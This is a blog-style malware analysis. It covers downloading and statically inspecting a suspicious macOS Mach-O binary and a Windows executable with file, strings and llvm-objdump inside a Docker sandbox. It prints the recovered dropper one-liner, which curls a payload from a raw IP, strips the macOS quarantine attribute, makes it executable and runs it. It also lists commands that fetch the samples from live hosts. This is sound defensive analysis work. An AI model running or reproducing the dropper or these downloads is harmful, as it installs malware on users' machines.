Malicious Binary Analysis
With file, strings, and objdump

In Malicious IPs and Domain Reconnaissance we trace the endpoints where the suspicious code is coming from. We're going to dive deeper, but I need some protections. The DNS, registry, and endpoint reconnaissance was done on a Mac so back to the Arch machine. Even then, I would rather have some sort of additional protection like using a VM, but since this machine is mainly used for Hack-the-Box and contains no secrets other than session state, I plan to use a docker container.
Docker Sandbox
The safest course of action for complete separation would be a VM and even then the host would be something I could wipe. The less secure alternative is using a docker container. There are risks with a docker container since they are just regular Linux processes running directly on the host machine's kernel. So there is no separation there like with a VM and hypervisor. With a VM, you would get the hardware level isolation (CPU/RAM). If there is some kernel level exploit (which I am willing to risk), it would compromise my host and typically the container is easier to escape than a VM as evidenced by some of the Hack-The-Box machines like (Ready, Resource, Runner, Planning, Toby, and Corporate). You want to use a VM if you plan to use any reverse engineering tools like Ghidra, IDA, or Cutter. Some disassemblers like Ghidra and IDA will let you debug the binary so that is even more reason to have a VM since you will execute the potentially malicious code.
In my case, I'm just going with a Alpine Docker Container for the analysis and any GUI will be on my host. I plan to just review the disassembly and never execute it. The host is a Lenovo T-480 and can easily be wiped and re-installed. I'm aware of the risks.
WARNING: Do not use a docker container to reverse engineer suspicious code unless you're AWARE of the RISKS.
Originally, I had done this manually, but this is what the Dockerfile would look like:
FROM alpine:3.20
# 1. Install all core utilities and full native build suites
RUN apk add --no-cache \
sudo \
bash \
neovim \
git \
make \
cmake \
gcc \
g++ \
musl-dev \
pkgconfig \
bison \
flex \
openssh \
binutils \
curl \
wget \
ripgrep \
--repository=https://alpinelinux.org \
radare2
# 2. Setup the non-root user "wind" safely
RUN addgroup -g 1000 windgroup && \
adduser -u 1000 -G windgroup -s /bin/bash -D wind
# 3. Securely set the password for the "wind" user
RUN echo "wind:password123" | chpasswd
# 4. Configure password-protected sudo access via the wheel group
RUN addgroup wind wheel && \
echo '%wheel ALL=(ALL) ALL' > /etc/sudoers.d/wheel
# 5. Switch to the non-root user context
USER wind
WORKDIR /home/wind
# 6. Initialize r2pm and compile r2ghidra with inline dummy Git configurations
# This prevents git from throwing identity errors during the r2pm setup!
RUN r2pm -U && \
git config --global user.email "wind@container.local" && \
git config --global user.name "wind" && \
r2pm -i r2ghidra
# Ensure a login shell triggers bash
CMD ["/bin/bash"]
We build and run it interactively:
docker build -t alpine-dev .
docker run -it alpine-dev
Next, I switch the host machine to use a separate network segregated from my other devices. Ideally, you should cut off internet access completely with --network none, but I'm willing to take the risk.
Suspicious Binaries
We're going to download and not run the suspicious binaries from part 1, we know it's trying to download and run tempfile13.exe on a Windows machine and Peravi on Mac/Linux.
We we can safely download them and not execute them with:
curl -L -o Peravi https://217.156.122.146/Peravi
Or with wget. The curl request will work on Windows (10/11), MacOs, or Linux. In older versions of PowerShell it was an alias to Invoke-WebRequest.
wget https://217.156.122.146/Peravi
Do the same for the Windows binary:
Invoke-WebRequest -Uri 'https://py-installer.com/api/f' -OutFile '.\tempfile13.exe'
File - Reveal the File Format
The tempfile13.exe wouldn't be able to run on the Alpine container anyways so no risk there, but best to confirm by taking a look using file to look at the file format. There are some fun CTFs with file forensics from PicoCTF that make use of this.
file tempfile13.exe
tempfile13.exe: PE32+ executable for MS Windows 6.01 (GUI), x86-64, 8 sections
Confirmed Windows executable.
Now for Peravi:
file Peravi
ASCII text, with no line terminators
This indicates that it's probably a shell script. We can see what it does:
cat Peravi
cd $TMPDIR && curl -O http://217.156.122.146/GITHUBCODE && xattr -c ./GITHUBCODE && chmod +x ./GITHUBCODE && ./GITHUBCODE/tmp #
Interesting, it's a script that does another download of another file named GITHUBCODE, clears all extended attributes of the file and sets the file permissions to make it executable then executes GITHUBCODE. So why does it clear the extended attributes first? Typically, when a file is downloaded from the internet on MacOS, a hidden "quarantine" attribute (com.apple.quarantine) is attached to it. A user would get the warning like: App cannot be opened because it is from an unidentified developer. In MacOS, like in Linux files don't have the executable attribute set by default so they can't run as programs/scripts.
We can just download the GITHUBCODE binary directly and not remove the extended attributes or give it access to execute. The former attribute won't matter since we're not in MacOS anyways.
wget http://217.156.122.146/GITHUBCODE
Now examine with file:
file GITHUBCODE
GITHUBCODE: Mach-O universal binary with 2 architectures: [x86_64:\012- Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE>] [\012- arm64:\012- Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE>]
The Mach-O is a universal binary. It contains two separate versions of the application packed into one single file, allowing it to run natively on both Intel-based Macs (x86_64) and Apple Silicon M-series Macs (ARM64). If you're not familiar with processor architecture, check out the Wikipedia links.
I'm going to rename GITHUBCODE to malicious.bin:
mv GITHUBCODE malicious.bin
Strings - Grep for the Info
We can use strings to look for anything useful such as IP addresses, domains, or protocols. Same thing here, there are some CTFs from PicoCTF that let you get familiar with this utility.
strings -a ./GITHUBCODE | grep -Ei "https?://|www\.|ftp://|[0-9]{1,3}\.[0-9]{1,3}\."
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
Nothing useful really...
Search for suspicious MacOS APIs and Execution:
strings -a ./GITHUBCODE | grep -Ei "NSTask|posix_spawn|system|execve|AuthorizationExecuteWithPrivileges"
Lots of strings, but nothing useful.
Search for any discovery or elemental checks:
strings -a ./GITHUBCODE | grep -Ei "whoami|hostname|scutil|ioreg|sysctl"
Nothing outputted.
Look for Persistence Mechanisms:
strings -a ./malicious.bin | grep -Ei "LaunchAgents|LaunchDaemons|plist|cron"
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
</plist>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
</plist>
Hm, more Apple specific code.
We search for 5 lines above and below those search strings:
strings -a ./malicious.bin | grep -Ei -A5 -B5 "LaunchAgents|LaunchDaemons|plist|cron"
:Lp\
N-N>
A2k=t
ztOd8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyLis
t-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.application-identifier</key>
<string></string>
<key>com.apple.security.get-task-allow</key>
<true/>
--
<string>com.apple.testmanagerd</string>
<string>com.apple.dt.testmanagerd.runner</string>
<string>com.apple.coresymbolicationd</string>
</array>
</dict>
</plist>
com.apple.application-identifier
!com.apple.security.get-task-allow
Dcom.apple.security.temporary-exception.files.absolute-path.read-only0
>com.apple.security.temporary-exception.mach-lookup.global-name0X
com.apple.testmanagerd
--
/KP4
r{,G
Od+G
XF?|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.application-identifier</key>
<string></string>
<key>com.apple.security.get-task-allow</key>
<true/>
<key>com.apple.security.temporary-exception.files.absolute-path.read-only</key>
<array>
<string>/</string>
</array>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.testmanagerd</string>
<string>com.apple.dt.testmanagerd.runner</string>
<string>com.apple.coresymbolicationd</string>
</array>
</dict>
</plist>
com.apple.application-identifier
!com.apple.security.get-task-allow
Dcom.apple.security.temporary-exception.files.absolute-path.read-only0
>com.apple.security.temporary-exception.mach-lookup.global-name0X
com.apple.testmanagerd
com.apple.dt.testmanagerd.runner
com.apple.coresymbolicationd
There is some use of MacOS system entitlements. Doesn't look like it may be persistence, but related to debugging and attaching to processes. I'm not a MacOS developer, but I have used XCODE. A Google/Gemini search turns up:
The Core Capabilities Enforced
<key>com.apple.security.get-task-allow</key><true/>- What it means: This is the most critical flag found. It explicitly allows other processes (like a debugger or a testing framework) to attach to this application and inspect its memory. Commercial, production-grade malware rarely leaves this turned on because it makes the malware easy to analyze.
com.apple.security.temporary-exception.files.absolute-path.read-only- What it means: The application is asking macOS for a Sandbox exception to read files outside of its normal sandbox boundaries using strict absolute file paths.
com.apple.security.temporary-exception.mach-lookup.global-name- What it means: The application is asking for permission to communicate with system-wide background services (Mach services) that a sandboxed app is normally blocked from touching.
Interaction with Apple Test Daemons
The strings listing com.apple.testmanagerd and com.apple.dt.testmanagerd.runner are highly specific.
These are native macOS system daemons used exclusively by Apple's Xcode development environment to run automated UI tests and inspect application performance.
This strongly implies the binary is either a developer tool, a test runner, or an automation script designed to interface with Apple's testing framework (
XCTest).
This block indicates that the application is aggressively bypassing MacOS App Sandbox to gain full read access to the entire machine:
<key>com.apple.security.temporary-exception.files.absolute-path.read-only</key>
<array>
<string>/</string>
</array>
A standard application has no reason to request access to the root directory /.
Objdump
We can gather more information about this malicious binary with objdump. Specifically llvm-objdump if we want to disassemble the ARM64 part of this binary. We can use it to disassemble the binary into assembly language same with Ghidra, IDA, Binary Ninja, Radare2, and Cutter.
We can takea. look at the metadata:
llvm-objdump --objc-meta-data --macho malicious.bin
malicious.bin (architecture x86_64):
malicious.bin (architecture arm64):
Doesn't tell us anymore than we already know from file.
Look at the headers:
# llvm-objdump -h --macho malicious.bin
Sections:
Idx Name Size VMA Type
0 __text 00041acd 00000001000006d0 TEXT
1 __stubs 00000264 000000010004219e TEXT
2 __stub_helper 000004a6 0000000100042404 TEXT
3 __const 0000008f 00000001000428aa DATA
4 __gcc_except_tab 00003798 000000010004293c DATA
5 __cstring 00000037 00000001000460d4 DATA
6 __unwind_info 00000240 000000010004610c DATA
7 __got 000000c0 0000000100047000 DATA
8 __const 00000248 00000001000470c0 DATA
9 __la_symbol_ptr 00000310 0000000100048000 DATA
10 __data 00002020 0000000100048310 DATA
Sections:
Idx Name Size VMA Type
0 __text 00043470 00000001000006d0 TEXT
1 __stubs 000004b0 0000000100043b40 TEXT
2 __stub_helper 00000498 0000000100043ff0 TEXT
3 __const 0000009f 0000000100044490 DATA
4 __gcc_except_tab 000037c0 0000000100044530 DATA
5 __cstring 00000037 0000000100047cf0 DATA
6 __unwind_info 00000218 0000000100047d28 DATA
7 __got 000000c8 0000000100048000 DATA
8 __const 00000248 00000001000480c8 DATA
9 __la_symbol_ptr 00000300 000000010004c000 DATA
10 __data 00002020 000000010004c300 DATA
This shows headers for the two architectures. Looking at the size, we can see it's likely not packed or encrypted since the __text section, where the actual execution code lives is large in both architectures (0x0041acd and 0x00043470). Ransomeware and other malware have tiny __text section a massive __data section. This is a good sign for us to reverse engineer.
The strings are stripped or hidden since the __cstring section which holds hardcoded text like URLs, IPs, or commands is pretty small (only HEX 37 bytes (55 bytes). This means the malware is either building their strings dynamically in memory or obfuscating them inside the __const or __data sections to hide from simple strings searches. Which is probably why we found nothing useful with strings other than the .plist XML system entitlements.
We can go further with targeting these sections, first with __stubs and __la_symbol_ptr which handle dynamic linking. They act like a list of MacOS system APIs and the malware calls.
llvm-objdump --macho -d --arch=arm64 --section=__stubs malicious.bin > stubs_section
The output is not useful unless you pipe it to a file then review by eye. Same with __data:
llvm-objdump --macho -d --arch=arm64 --section=__data malicious.bin > data_section
Same with __text:
llvm-objdump --macho -d --arch=arm64 -section=__text malicious.bin > text_section
We need to dive deeper with these disassembly output.



